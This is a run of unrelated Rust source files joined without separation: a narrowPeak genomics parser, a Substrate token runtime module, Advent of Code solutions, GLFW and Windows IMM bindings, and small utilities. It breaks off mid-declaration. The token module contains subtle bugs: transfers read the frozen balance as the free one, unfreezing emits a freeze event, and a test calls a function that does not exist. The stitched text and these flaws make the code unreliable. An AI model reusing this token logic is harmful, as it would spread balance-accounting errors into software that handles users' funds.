use std::{ collections::HashMap, fs::File, io::{BufRead, BufReader}, }; use math::{ partition::ordered_interval_partitions::OrderedIntervalPartitions, set::{ contiguous_integer_set::ContiguousIntegerSet, ordered_integer_set::OrderedIntegerSet, }, }; use crate::{ error::Error, util::{get_buf, Strand}, }; pub struct PeakFile { filepath: String, } impl PeakFile { pub fn new(filepath: String) -> PeakFile { PeakFile { filepath, } } pub fn iter(&self) -> Result<PeakFileIter, Error> { Ok(PeakFileIter::new(get_buf(&self.filepath)?)) } pub fn get_chrom_to_peak_locations( &self, min_score: Option<f64>, min_length: Option<usize>, ) -> Result<HashMap<String, OrderedIntervalPartitions<usize>>, Error> { let mut chrom_to_intervals = HashMap::new(); for line in self.iter()? { let chrom = line.chrom; let start = line.start; let end = line.end; if end > start { if let Some(min_score) = min_score { if line.score < min_score { continue; } } if let Some(min_length) = min_length { if end - start < min_length { continue; } } let interval_to_val = chrom_to_intervals.entry(chrom).or_insert_with(Vec::new); interval_to_val.push(ContiguousIntegerSet::new(start, end - 1)); } } let mut chrom_to_partitions = HashMap::new(); for (chrom, intervals) in chrom_to_intervals.into_iter() { chrom_to_partitions.insert( chrom, OrderedIntervalPartitions::from_vec_with_trusted_order( OrderedIntegerSet::from_contiguous_integer_sets(intervals) .into_intervals(), ), ); } Ok(chrom_to_partitions) } pub fn get_filepath(&self) -> &str { &self.filepath } } /// The [start, end) is a zero-based left-closed right-open coordinate range #[derive(PartialEq, Clone, Debug)] pub struct PeakFileDataLine { pub chrom: String, pub start: usize, pub end: usize, pub name: String, pub score: f64, pub strand: Option<Strand>, pub signal_value: f64, pub p_value: f64, pub q_value: f64, pub peak: Option<usize>, } pub struct PeakFileIter { buf: BufReader<File>, } impl PeakFileIter { pub fn new(buf: BufReader<File>) -> PeakFileIter { PeakFileIter { buf, } } } impl Iterator for PeakFileIter { type Item = PeakFileDataLine; fn next(&mut self) -> Option<Self::Item> { loop { let mut line = String::new(); return if self.buf.read_line(&mut line).unwrap() == 0 { None } else { let mut toks = line.split_whitespace(); let chrom = { let chrom = toks.next().unwrap(); if chrom.starts_with('#') || chrom == "track" { continue; } chrom.to_string() }; let start = toks.next().unwrap().parse::<usize>().unwrap(); let end = toks.next().unwrap().parse::<usize>().unwrap(); let name = toks.next().unwrap().to_string(); let score = toks.next().unwrap().parse::<f64>().unwrap(); let strand = match toks.next().unwrap() { "+" => Some(Strand::Positive), "-" => Some(Strand::Negative), "." => None, s => panic!(format!("unrecognized strand symbol {}", s)), }; let signal_value = toks.next().unwrap().parse::<f64>().unwrap(); let p_value = toks.next().unwrap().parse::<f64>().unwrap(); let q_value = toks.next().unwrap().parse::<f64>().unwrap(); let peak = match toks.next() { Some(p) => Some(p.parse::<usize>().unwrap()), None => None, }; Some(PeakFileDataLine { chrom, start, end, name, score, strand, signal_value, p_value, q_value, peak, }) }; } } } #[cfg(test)] mod tests { use std::{ collections::HashMap, io::{BufWriter, Write}, }; use math::{ partition::ordered_interval_partitions::OrderedIntervalPartitions, set::contiguous_integer_set::ContiguousIntegerSet, }; use tempfile::NamedTempFile; use crate::peak_file::{PeakFile, PeakFileDataLine}; #[test] fn test_get_chrom_to_interval_to_val() { let file = NamedTempFile::new().unwrap(); { let mut writer = BufWriter::new(&file); writer.write_fmt( format_args!( "track type=narrowPeak name=\"H9_H3K4ME3_H3K79ME2.phased.1\" description=\"H9_H3K4ME3_H3K79ME2.phased.1\" nextItemButton=on\n\ chr1 10050 10500 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak1 153 . 0.00000 0.00000 0.00000 125\n\ chr1 28650 28900 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak2 96 . 0.00000 0.00000 0.00000 175\n\ chr1 29000 29250 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak3 153 . 0.00000 0.00000 0.00000 125\n" ) ).unwrap(); } let peak_file = PeakFile::new(file.path().to_str().unwrap().to_string()); let mut iter = peak_file.iter().unwrap(); assert_eq!( Some(PeakFileDataLine { chrom: "chr1".to_string(), start: 10050, end: 10500, name: "H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak1".to_string(), score: 153., strand: None, signal_value: 0., p_value: 0., q_value: 0., peak: Some(125), }), iter.next() ); assert_eq!( Some(PeakFileDataLine { chrom: "chr1".to_string(), start: 28650, end: 28900, name: "H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak2".to_string(), score: 96., strand: None, signal_value: 0., p_value: 0., q_value: 0., peak: Some(175), }), iter.next() ); assert_eq!( Some(PeakFileDataLine { chrom: "chr1".to_string(), start: 29000, end: 29250, name: "H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak3".to_string(), score: 153., strand: None, signal_value: 0., p_value: 0., q_value: 0., peak: Some(125), }), iter.next() ); } #[test] fn test_get_chrom_to_peaks() { let file = NamedTempFile::new().unwrap(); { let mut writer = BufWriter::new(&file); writer.write_fmt( format_args!( "track type=narrowPeak name=\"H9_H3K4ME3_H3K79ME2.phased.1\" description=\"H9_H3K4ME3_H3K79ME2.phased.1\" nextItemButton=on\n\ chr1 10050 10500 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak1 153 . 0.00000 0.00000 0.00000 125\n\ chr1 28650 28900 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak2 96 . 0.00000 0.00000 0.00000 175\n\ chr1 1000 2000 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak3 153 . 0.00000 0.00000 0.00000 125\n\ chr2 0 2000 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak4 153 . 0.00000 0.00000 0.00000 125\n\ chr2 100 2500 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak5 153 . 0.00000 0.00000 0.00000 125\n\ chr2 3000 10000 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak6 153 . 0.00000 0.00000 0.00000 125\n\ chr3 0 1000 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak7 153 . 0.00000 0.00000 0.00000 125\n\ chr4 10050 10500 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak8 153 . 0.00000 0.00000 0.00000 125\n\ chr4 28650 28900 H9_H3K4ME3_H3K79ME2.phased.1_narrowPeak9 153 . 0.00000 0.00000 0.00000 125\n" ) ).unwrap(); } let peak_file = PeakFile::new(file.path().to_str().unwrap().to_string()); let expected: HashMap<String, OrderedIntervalPartitions<usize>> = vec![ ( "chr1", OrderedIntervalPartitions::from_vec_with_trusted_order(vec![ ContiguousIntegerSet::new(1000usize, 1999), ContiguousIntegerSet::new(10050, 10499), ContiguousIntegerSet::new(28650, 28899), ]), ), ( "chr2", OrderedIntervalPartitions::from_vec_with_trusted_order(vec![ ContiguousIntegerSet::new(0usize, 2499), ContiguousIntegerSet::new(3000, 9999), ]), ), ( "chr3", OrderedIntervalPartitions::from_vec_with_trusted_order(vec![ ContiguousIntegerSet::new(0usize, 999), ]), ), ( "chr4", OrderedIntervalPartitions::from_vec_with_trusted_order(vec![ ContiguousIntegerSet::new(10050usize, 10499), ContiguousIntegerSet::new(28650, 28899), ]), ), ] .into_iter() .map(|(c, p)| (c.to_string(), p)) .collect(); assert_eq!( expected, peak_file.get_chrom_to_peak_locations(None, None).unwrap() ); } }
#![cfg_attr(not(feature = "std"), no_std)] /// A runtime module template with necessary imports /// Feel free to remove or edit this file as needed. /// If you change the name of this file, make sure to update its references in runtime/src/lib.rs /// If you remove this file, you can remove those references /// For more guidance on Substrate modules, see the example module /// https://github.com/paritytech/substrate/blob/master/srml/example/src/lib.rs extern crate srml_support as support; extern crate sr_primitives as runtime_primitives; extern crate parity_codec; extern crate srml_system as system; extern crate sr_std; use support::{decl_module, decl_storage, decl_event, StorageMap, StorageValue, dispatch::Result, Parameter}; use runtime_primitives::traits::{SimpleArithmetic, Bounded, One, CheckedAdd, CheckedSub, Zero, As}; use parity_codec::{Encode, Decode}; use system::ensure_signed; use sr_std::prelude::*; pub trait Trait: system::Trait { // Token id type. type TokenId: Parameter + Default + Bounded + SimpleArithmetic; // Token balance type. type TokenBalance: Parameter + Default + Bounded + SimpleArithmetic + Copy + Zero + As<u128>; // The overarching event type. type Event: From<Event<Self>> + Into<<Self as system::Trait>::Event>; } pub type Symbol = Vec<u8>; #[derive(Encode, Decode, Default, PartialEq, Clone)] pub struct Token<T: Trait> { symbol: Symbol, total_supply: T::TokenBalance, } decl_storage! { trait Store for Module<T: Trait> as Tokens { // 每种token有一个唯一id pub TokenSeq get(token_id): T::TokenId; // Token信息 pub TokenInfo get(token_info): map T::TokenId => Symbol; // 已注册交易对 pub SymbolPairs get(symbol_pairs): map u32 => Vec<(Symbol, Symbol)>; // 某个币种,某个AccountId的token balance pub BalanceOf get(balance_of): map (T::AccountId, T::TokenId) => T::TokenBalance; // 某个币种,某个AccountId的allowance pub Allowance get(allowance): map (T::AccountId, T::TokenId) => T::TokenBalance; // 某个账号,某个token的 free token pub FreeToken get(free_token): map (T::AccountId, Symbol) => T::TokenBalance; // 某个账号,某个token的 freezed token pub FreezedToken get(freezed_token): map (T::AccountId, Symbol) => T::TokenBalance; // 某个账号所有的token列表 pub OwnedTokenList get(owned_token_list): map T::AccountId => Vec<Symbol>; } } decl_module! { // The module declaration. pub struct Module<T: Trait> for enum Call where origin: T::Origin { fn deposit_event<T>() = default; // 发行token pub fn issue(origin, symbol: Symbol, total_supply: T::TokenBalance) -> Result { Self::do_issue(origin, symbol, total_supply) } // 注册交易对 pub fn register_symbol_pairs(origin, sym0: Symbol, sym1: Symbol) -> Result { Self::do_register_symbol_pairs(origin, sym0, sym1) } // 转移token pub fn transfer(origin, to: T::AccountId, symbol: Symbol, value: T::TokenBalance) -> Result { Self::do_transfer(origin, to, symbol, value) } // 冻结token pub fn freeze(origin, acc: T::AccountId, symbol: Symbol, value: T::TokenBalance) -> Result { Self::do_freeze(origin, acc, symbol, value) } // 解冻token pub fn unfreeze(origin, acc: T::AccountId, symbol: Symbol, value: T::TokenBalance) -> Result { Self::do_unfreeze(origin, acc, symbol, value) } } } decl_event!( pub enum Event<T> where <T as system::Trait>::AccountId, <T as self::Trait>::TokenId, <T as self::Trait>::TokenBalance, { // 发行token Issued(TokenId, Symbol, TokenBalance), // 注册交易对 SymbolPairRegisterd(Symbol, Symbol), // 转账事件 Transfered(Symbol, AccountId, AccountId, TokenBalance), // approve事件 Approval(TokenId, AccountId, AccountId, TokenBalance), // Freeze事件 Freezed(AccountId, Symbol, TokenBalance), // Unfreeze事件 Unfreezed(AccountId, Symbol, TokenBalance), } ); impl<T: Trait> Module<T> { // 发行token fn do_issue(origin: T::Origin, symbol: Symbol, total_supply: T::TokenBalance) -> Result { let sender = ensure_signed(origin)?; let token_id = Self::token_id(); let next_id = token_id.checked_add(&One::one()).ok_or("Token id overflow")?; // <TokenSeq<T>>::put(next_id); let token: Token<T> = Token { symbol: symbol.clone(), total_supply, }; <TokenInfo<T>>::insert(token_id.clone(), symbol.clone()); <BalanceOf<T>>::insert((sender.clone(), token_id.clone()), total_supply); <FreeToken<T>>::insert((sender.clone(), symbol.clone()), total_supply); Self::deposit_event(RawEvent::Issued(token_id, symbol, total_supply)); Ok(()) } fn do_register_symbol_pairs(origin: T::Origin, sym0: Symbol, sym1: Symbol) -> Result { let sender = ensure_signed(origin)?; let key = (sym0.clone(), sym1.clone()); let mut symbol_pair_vec: Vec<(Symbol, Symbol)> = Self::symbol_pairs(&1u32); if !symbol_pair_vec.contains(&key) { symbol_pair_vec.push(key); } <SymbolPairs<T>>::insert(1u32, symbol_pair_vec); Self::deposit_event(RawEvent::SymbolPairRegisterd(sym0, sym1)); Ok(()) } fn do_transfer(origin: T::Origin, to: T::AccountId, symbol: Symbol, value: T::TokenBalance) -> Result { let sender = ensure_signed(origin)?; let sender_key = (sender.clone(), symbol.clone()); let reciever_key = (to.clone(), symbol.clone()); let sender_free_token = Self::freezed_token(&sender_key); let reciever_free_token = Self::freezed_token(&reciever_key); if sender_free_token < value { return Err("Insufficent free token to send"); } let new_sender_free_token = match sender_free_token.checked_sub(&value) { Some(t) => t, None => return Err("Insufficent free token to send"), }; let new_reciever_free_token = match reciever_free_token.checked_add(&value) { Some(t) => t, None => return Err("Reciever free token overflowed"), }; <FreeToken<T>>::insert(&sender_key, new_sender_free_token); <FreeToken<T>>::insert(&reciever_key, new_reciever_free_token); Self::deposit_event(RawEvent::Transfered(symbol, sender, to.clone(), value)); Ok(()) } fn do_freeze(origin: T::Origin, acc: T::AccountId, symbol: Symbol, value: T::TokenBalance) -> Result { let sender = ensure_signed(origin)?; assert!(sender == acc, "Can not freeze other's token"); let key = (acc.clone(), symbol.clone()); let free_token = Self::free_token(&key); let freezed_token = Self::freezed_token(&key); let new_free_token = match free_token.checked_sub(&value) { Some(t) => t, None => return Err("Insufficient free token"), }; let new_freezed_token = match freezed_token.checked_add(&value) { Some(t) => t, None => return Err("Freezed token add overflowed"), }; <FreeToken<T>>::insert(&key, new_free_token); <FreezedToken<T>>::insert(&key, new_freezed_token); Self::deposit_event(RawEvent::Freezed(acc, symbol, value)); Ok(()) } fn do_unfreeze(origin: T::Origin, acc: T::AccountId, symbol: Symbol, value: T::TokenBalance) -> Result { let sender = ensure_signed(origin)?; assert!(sender == acc, "Can not unfreeze other's token"); let key = (acc.clone(), symbol.clone()); let free_token = Self::free_token(&key); let freezed_token = Self::freezed_token(&key); let new_free_token = match free_token.checked_add(&value) { Some(t) => t, None => return Err("Free token add overflow"), }; let new_freezed_token = match freezed_token.checked_sub(&value) { Some(t) => t, None => return Err("Insufficient freezed token"), }; <FreeToken<T>>::insert(&key, new_free_token); <FreezedToken<T>>::insert(&key, new_freezed_token); Self::deposit_event(RawEvent::Freezed(acc, symbol, value)); Ok(()) } } /// tests for this module #[cfg(test)] mod tests { use super::*; use runtime_io::with_externalities; use primitives::{H256, Blake2Hasher}; use support::{impl_outer_origin, assert_ok}; use runtime_primitives::{ BuildStorage, traits::{BlakeTwo256, IdentityLookup}, testing::{Digest, DigestItem, Header} }; impl_outer_origin! { pub enum Origin for Test {} } // For testing the module, we construct most of a mock runtime. This means // first constructing a configuration type (`Test`) which `impl`s each of the // configuration traits of modules we want to use. #[derive(Clone, Eq, PartialEq)] pub struct Test; impl system::Trait for Test { type Origin = Origin; type Index = u64; type BlockNumber = u64; type Hash = H256; type Hashing = BlakeTwo256; type Digest = Digest; type AccountId = u64; type Lookup = IdentityLookup<Self::AccountId>; type Header = Header; type Event = (); type Log = DigestItem; } impl Trait for Test { type Event = (); } type token = Module<Test>; // This function basically just builds a genesis storage key/value store according to // our desired mockup. fn new_test_ext() -> runtime_io::TestExternalities<Blake2Hasher> { system::GenesisConfig::<Test>::default().build_storage().unwrap().0.into() } #[test] fn it_works_for_default_value() { with_externalities(&mut new_test_ext(), || { // Just a dummy test for the dummy funtion `do_something` // calling the `do_something` function with a value 42 assert_ok!(token::do_something(Origin::signed(1), 42)); // asserting that the stored value is equal to what we stored assert_eq!(token::something(), Some(42)); }); } }
fn parse_ids(input: &str) -> Vec<Option<usize>> { input .split(",") .map(|s| { if s == "x" { None } else { Some(s.parse::<usize>().unwrap()) } }) .collect() } fn main() { let input = std::fs::read_to_string("input").unwrap(); let mut input = input.lines(); let time = input.next().unwrap().parse::<usize>().unwrap(); let ids = parse_ids(input.next().unwrap()); let first_start = ids .iter() .filter_map(|s| *s) .map(|id| (id - time % id, id)) .min() .unwrap(); dbg!(first_start.0 * first_start.1); dbg!(part_2(ids)); } fn euclid(a: i64, b: i64) -> (i64, i64, i64) { let mut ruv = (a, 1, 0); let mut ruv1 = (b, 0, 1); while ruv1.0 != 0 { let q = ruv.0 / ruv1.0; let ruv2 = (ruv.0 - q * ruv1.0, ruv.1 - q * ruv1.1, ruv.2 - q * ruv1.2); ruv = ruv1; ruv1 = ruv2; } ruv } fn chinese_remainders_theorem(pairs: Vec<(u64, u64)>) -> u64 { let n = pairs.iter().map(|pair| pair.0).product::<u64>(); pairs .iter() .map(|&(ni, ai)| { let ni1 = n / ni; let vi = euclid(ni as i64, ni1 as i64).2; let vi = (vi + ni as i64) as u64 % ni; (vi * ni1 * ai) % n }) .sum::<u64>() % n } fn part_2(ids: Vec<Option<usize>>) -> u64 { let remainders: Vec<(u64, u64)> = ids .iter() .enumerate() .filter_map(|(ix, id)| id.map(|id| (id as _, ((1 + ix / id) * id - ix) as _))) .collect(); chinese_remainders_theorem(remainders) } #[test] fn t_euclid() { assert_eq!(euclid(120, 23), (1, -9, 47)); } #[test] fn t_chinese_remainders() { assert_eq!(chinese_remainders_theorem(vec!((3, 2), (5, 3), (7, 2))), 23); } #[test] fn t_part_2_0() { assert_eq!(part_2(parse_ids("17,x,13,19")), 3417); } #[test] fn t_part_2_1() { assert_eq!(part_2(parse_ids("7,13,x,x,59,x,31,19")), 1068781); }
use std::io; use std::collections::BTreeSet; use std::cmp::Ordering; use std::fmt; type Point = (usize, usize); #[derive(Clone, Copy, Eq, PartialEq)] enum Facing { Up, Down, Left, Right } #[derive(Clone, Copy, Eq, PartialEq)] enum Track { None, Horizontal, Vertical, Turn(char), Intersect } #[derive(Clone, Copy, Eq)] struct Cart { curr_loc : Point, curr_facing : Facing, intersect_count : u32 } impl fmt::Debug for Cart { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "{:?}", self.curr_loc) } } impl PartialEq for Cart { fn eq(&self, other: &Cart) -> bool { self.curr_loc == other.curr_loc } } impl PartialOrd for Cart { fn partial_cmp(&self, other: &Cart) -> Option<Ordering> { Some(self.cmp(other)) } } impl Ord for Cart { fn cmp(&self, other: &Cart) -> Ordering { self.curr_loc.cmp(&other.curr_loc) } } impl Cart { fn new(cart_char: char, loc: Point) -> Cart { Cart { curr_loc : loc, curr_facing : match cart_char { '^' => Facing::Up, 'v' => Facing::Down, '>' => Facing::Right, '<' => Facing::Left, _ => unreachable!() }, intersect_count : 0 } } fn tick(&self, railway: &Rail) -> Cart { let current_track = railway[self.curr_loc.0][self.curr_loc.1]; let new_facing = match current_track { Track::Horizontal | Track::Vertical => self.curr_facing, Track::Turn(c) => self.turn(c), Track::Intersect => self.intersect_turn(), Track::None => unreachable!() }; let new_loc = match new_facing { Facing::Up => (self.curr_loc.0-1, self.curr_loc.1), Facing::Down => (self.curr_loc.0+1, self.curr_loc.1), Facing::Left => (self.curr_loc.0, self.curr_loc.1-1), Facing::Right => (self.curr_loc.0, self.curr_loc.1+1) }; Cart { curr_loc : new_loc, curr_facing : new_facing, intersect_count : if current_track == Track::Intersect { self.intersect_count + 1 } else { self.intersect_count } } } fn turn(&self, turn_char: char) -> Facing { match turn_char { '\\' => match self.curr_facing { Facing::Up => Facing::Left, Facing::Down => Facing::Right, Facing::Left => Facing::Up, Facing::Right => Facing::Down }, '/' => match self.curr_facing { Facing::Up => Facing::Right, Facing::Down => Facing::Left, Facing::Left => Facing::Down, Facing::Right => Facing::Up }, _ => unreachable!() } } fn intersect_turn(&self) -> Facing { let intersect_mod = self.intersect_count % 3; if intersect_mod == 0 { //turn left match self.curr_facing { Facing::Up => Facing::Left, Facing::Down => Facing::Right, Facing::Left => Facing::Down, Facing::Right => Facing::Up } } else if intersect_mod == 2 { //turn right match self.curr_facing { Facing::Up => Facing::Right, Facing::Down => Facing::Left, Facing::Left => Facing::Up, Facing::Right => Facing::Down } } else { self.curr_facing } } } type Rail = Vec<Vec<Track>>; type Carts = BTreeSet<Cart>; fn print(carts: &Carts, railway: &Rail) { for y in 0..railway.len() { for x in 0..railway[y].len() { let found_cart = carts.iter().find(|&&c| c.curr_loc == (y, x)); if let Some(c) = found_cart { match c.curr_facing { Facing::Up => print!("^"), Facing::Down => print!("v"), Facing::Left => print!("<"), Facing::Right => print!(">") } } else { match railway[y][x] { Track::None => print!(" "), Track::Horizontal => print!("-"), Track::Vertical => print!("|"), Track::Intersect => print!("+"), Track::Turn(c) => print!("{}", c) } } } println!(""); } } fn find_crash_location(input_str: &str) -> Point { let mut carts = Carts::new(); let railway = input_str.lines().enumerate().map(|(y, l)| { l.chars().enumerate().map(|(x, c)| { match c { '|' => Track::Vertical, '-' => Track::Horizontal, '\\' | '/' => Track::Turn(c), '+' => Track::Intersect, '>' | '<' => { carts.insert(Cart::new(c, (y, x))); Track::Horizontal }, '^' | 'v' => { carts.insert(Cart::new(c, (y, x))); Track::Vertical }, _ => Track::None } }).collect::<Vec<Track>>() }).collect::<Rail>(); let mut key = String::new(); loop { //print(&carts, &railway); //println!("{:?}", carts); //io::stdin().read_line(&mut key); let mut new_carts = Carts::new(); for c in carts { let next_tick = c.tick(&railway); if !new_carts.insert(next_tick) { return (next_tick.curr_loc.1, next_tick.curr_loc.0); } } carts = new_carts; } } fn main() { println!("{:?}", find_crash_location(include_str!("../input/input.txt"))); } #[test] fn part_1_test() { assert_eq!(find_crash_location(include_str!("../input/test_input_1.txt")), (7,3)); assert_eq!(find_crash_location(include_str!("../input/test_input_2.txt")), (2,2)); }
use crate::windowing::{Window}; use std::rc::{Weak, Rc}; use std::cell::RefCell; use gl_bindings::gl; use crate::utils::lazy_option::Lazy; pub struct GLWindowContext { glfw_window: Weak<RefCell<Window>>, } impl GLWindowContext { pub fn set_swap_interval(&mut self, interval: glfw::SwapInterval) -> bool { // if self.is_current() { if let Some(window) = self.glfw_window.upgrade() { let window_borrow = window.borrow_mut(); let mut glfw_context = window_borrow.glfw_context.borrow_mut(); let glfw = glfw_context.glfw_mut(); glfw.set_swap_interval(interval); true } else { false } } pub fn make_current(&mut self) -> bool { if let Some(strong_ref) = self.glfw_window.upgrade() { let mut window = RefCell::borrow_mut(&strong_ref); // Borrow let glfw_context = Rc::clone(&window.glfw_context); let mut glfw_context = RefCell::borrow_mut(&glfw_context); let glfw_window = window.window_glfw.need_mut(); // Make context current glfw_context.glfw_mut().make_context_current(Some(glfw_window)); // drop(glfw_context); // Init gl gl::load_with(|s| glfw_window.get_proc_address(s) as *const _); true } else { // Window does not exist anymore false } } // pub fn is_current(&self) -> bool { // // } pub(super) fn from_window(window_ref: Weak<RefCell<Window>>) -> Self { Self { glfw_window: window_ref, } } }
use std::collections::HashSet; use crate::{ prelude::*, map::Map, shape::*, }; /// A new shape obtained by applying some mapping to another shape. pub struct ShapeMapper<S: Shape, M: Map> { pub shape: S, pub map: M, } impl<S: Shape, M: Map> ShapeMapper<S, M> { pub fn new(shape: S, map: M) -> Self { Self { shape, map } } } impl<S: Shape, M: Map> Shape for ShapeMapper<S, M> {} impl<S: Shape, M: Map> Instance<ShapeClass> for ShapeMapper<S, M> { fn source(cache: &mut HashSet<u64>) -> String { if !cache.insert(Self::type_hash()) { return String::new() } [ S::source(cache), M::source(cache), "#include <clay_core/shape/mapper.h>".to_string(), format!( "MAP_SHAPE_FN_DEF({}, {}, {}, {}, {})", Self::inst_name(), S::inst_name(), M::inst_name(), S::size_int(), S::size_float(), ), ].join("\n") } fn inst_name() -> String { format!( "__mapper_{:x}", Self::type_hash(), ) } } impl<S: Shape, M: Map> Pack for ShapeMapper<S, M> { fn size_int() -> usize { S::size_int() + M::size_int() } fn size_float() -> usize { S::size_float() + M::size_float() } fn pack_to(&self, buffer_int: &mut [i32], buffer_float: &mut [f32]) { Packer::new(buffer_int, buffer_float) .pack(&self.shape) .pack(&self.map); } }
use bytes::{Buf, Bytes}; use crate::error::Error; #[derive(Debug)] pub(crate) struct ReturnStatus { #[allow(dead_code)] value: i32, } impl ReturnStatus { pub(crate) fn get(buf: &mut Bytes) -> Result<Self, Error> { let value = buf.get_i32_le(); Ok(Self { value }) } }
// Copyright 2021 Datafuse Labs. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. use storages_common_table_meta::table::TableCompression; use crate::FuseStorageFormat; use crate::DEFAULT_BLOCK_PER_SEGMENT; use crate::DEFAULT_ROW_PER_PAGE; #[derive(Clone, Debug)] pub struct WriteSettings { pub storage_format: FuseStorageFormat, pub table_compression: TableCompression, // rows per page, current only work in native format pub max_page_size: usize, pub block_per_seg: usize, } impl Default for WriteSettings { fn default() -> Self { Self { storage_format: FuseStorageFormat::Parquet, table_compression: TableCompression::default(), max_page_size: DEFAULT_ROW_PER_PAGE, block_per_seg: DEFAULT_BLOCK_PER_SEGMENT, } } }
use std::fmt::Debug; trait Movable: Debug { fn ride(&self); } trait MovableDecorator: Movable { fn get_decorated(&self) -> &Movable; } #[derive(Debug)] struct Vehicle { handbrake_enabled: bool } #[derive(Debug)] struct PaintedVehicle<'a> { vehicle: &'a Movable } #[derive(Debug)] struct IlluminatedVehicle<'a> { vehicle: &'a Movable } impl Movable for Vehicle { fn ride(&self) { println!("Roll on: {:?}", self); } } impl<'a> Movable for PaintedVehicle<'a> { fn ride(&self) { self.vehicle.ride(); println!("Painted: {:?}", self); } } impl<'a> Movable for IlluminatedVehicle<'a> { fn ride(&self) { self.vehicle.ride(); println!("Illuminated: {:?}", self); } } impl<'a> MovableDecorator for PaintedVehicle<'a> { fn get_decorated(&self) -> &Movable { self.vehicle } } impl<'a> MovableDecorator for IlluminatedVehicle<'a> { fn get_decorated(&self) -> &Movable { self.vehicle } } pub fn run() { println!("-------------------- {} --------------------", file!()); let v = Vehicle { handbrake_enabled: true }; let pv = PaintedVehicle { vehicle: &v }; let iv = IlluminatedVehicle { vehicle: &v }; let ipv = IlluminatedVehicle { vehicle: &pv }; println!("####### V #########"); v.ride(); println!("####### PV #########"); pv.ride(); println!("####### IV #########"); iv.ride(); println!("####### IPV #########"); ipv.ride(); println!("####### IPV ONION1 #########"); let ipv = ipv.get_decorated(); pv.ride(); println!("####### PV ONION2 #########"); let v = pv.get_decorated(); v.ride(); }
#![allow(non_snake_case, non_camel_case_types, non_upper_case_globals, clashing_extern_declarations, clippy::all)] #[link(name = "windows")] extern "system" { #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmAssociateContext(param0: super::super::super::Foundation::HWND, param1: super::super::super::Globalization::HIMC) -> super::super::super::Globalization::HIMC; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmAssociateContextEx(param0: super::super::super::Foundation::HWND, param1: super::super::super::Globalization::HIMC, param2: u32) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmConfigureIMEA(param0: super::super::TextServices::HKL, param1: super::super::super::Foundation::HWND, param2: u32, param3: *mut ::core::ffi::c_void) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmConfigureIMEW(param0: super::super::TextServices::HKL, param1: super::super::super::Foundation::HWND, param2: u32, param3: *mut ::core::ffi::c_void) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Globalization")] pub fn ImmCreateContext() -> super::super::super::Globalization::HIMC; #[cfg(feature = "Win32_Globalization")] pub fn ImmCreateIMCC(param0: u32) -> super::super::super::Globalization::HIMCC; #[cfg(feature = "Win32_Foundation")] pub fn ImmCreateSoftKeyboard(param0: u32, param1: super::super::super::Foundation::HWND, param2: i32, param3: i32) -> super::super::super::Foundation::HWND; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmDestroyContext(param0: super::super::super::Globalization::HIMC) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Globalization")] pub fn ImmDestroyIMCC(param0: super::super::super::Globalization::HIMCC) -> super::super::super::Globalization::HIMCC; #[cfg(feature = "Win32_Foundation")] pub fn ImmDestroySoftKeyboard(param0: super::super::super::Foundation::HWND) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Foundation")] pub fn ImmDisableIME(param0: u32) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Foundation")] pub fn ImmDisableLegacyIME() -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Foundation")] pub fn ImmDisableTextFrameService(idthread: u32) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmEnumInputContext(idthread: u32, lpfn: IMCENUMPROC, lparam: super::super::super::Foundation::LPARAM) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmEnumRegisterWordA(param0: super::super::TextServices::HKL, param1: REGISTERWORDENUMPROCA, lpszreading: super::super::super::Foundation::PSTR, param3: u32, lpszregister: super::super::super::Foundation::PSTR, param5: *mut ::core::ffi::c_void) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmEnumRegisterWordW(param0: super::super::TextServices::HKL, param1: REGISTERWORDENUMPROCW, lpszreading: super::super::super::Foundation::PWSTR, param3: u32, lpszregister: super::super::super::Foundation::PWSTR, param5: *mut ::core::ffi::c_void) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_UI_TextServices"))] pub fn ImmEscapeA(param0: super::super::TextServices::HKL, param1: super::super::super::Globalization::HIMC, param2: u32, param3: *mut ::core::ffi::c_void) -> super::super::super::Foundation::LRESULT; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_UI_TextServices"))] pub fn ImmEscapeW(param0: super::super::TextServices::HKL, param1: super::super::super::Globalization::HIMC, param2: u32, param3: *mut ::core::ffi::c_void) -> super::super::super::Foundation::LRESULT; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn 